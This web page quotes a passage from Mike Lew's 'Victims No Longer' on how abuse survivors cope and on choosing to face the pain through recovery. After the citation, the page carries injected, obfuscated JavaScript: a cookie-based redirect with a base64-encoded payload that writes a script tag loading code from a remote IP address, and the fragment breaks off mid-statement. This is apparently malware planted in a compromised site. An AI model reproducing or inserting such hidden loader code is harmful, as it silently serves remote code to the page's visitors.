Survivors have lived with pain and confusion since childhood. They try many ways of getting past the experience. They numb themselves with alcohol, drugs, sex food, or any number of other addictions and compulsions.
They attempt to change their view of life through religion, various psychotherapies, mediation, mysticism, and philosophies (both Eastern and Western), workshops, retreats, and personal growth practices. Many throw themselves into work or play with intensity incomprehensible to anyone except another survivor. They try diets of deprivation or overindulgence. They seek serenity through yoga, release through marathon running, and protection through martial arts. They attempt to escape geographically, some moving several times a year or whenever feelings get too overwhelming. Some change their appearances, jobs, friends, and lifestyles. Many pursue academic degree after degree (often in psychology or other human services) to gain understanding of their situation. They avoid (or pursue) men, women, children, authority figures, older people, friends and lovers. Some of these practices prove helpful, providing significant relief, learning and comfort, but thee always seems to be something missing. And through it all they try and try to think their way out of the feelings they have never been able to shake off completely.
No doubt some of this list is familiar to you. Whatever strategies you undertook to help you endure, survive, identify, fit in, or feel better, they (and you) deserve complete admiration and respect. That they are no longer what you need doesn’t negate one simple fact – they helped you survive to this point. Appreciate yourself for having figured out a way to get yourself here – ready to dare to take the next step in your recovery.
When you undertake recovery, it must be a conscious decision, arrived at through a great deal of soul-searching. Having attempted every imaginable way of working around, over, and under the feelings, you reluctantly concluded that the only way out of the pain is straight ahead… through it. Abuse and the pain created by abuse need to be confronted directly. Those awful feelings must be felt. This is no easy matter. Even though it is unlikely that anyone ever died of feelings, it can feel like dying. (There are those who have chosen death rather than face what they believe will be a lifetime of pain.) It takes tremendous courage and determination to undertake this confrontation, especially when you feel there is no guarantee that its outcome will be any more successful than all the other things you tried. Beginning a recovery program may not lessen the pain immediately. In fact, it often feels worse before it gets (and feels) better. But it does get better. And it continues to improve as you move from surviving to living and thriving.
Taken from “Victims No Longer by Mike Lew” Pages 152 and 153 ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘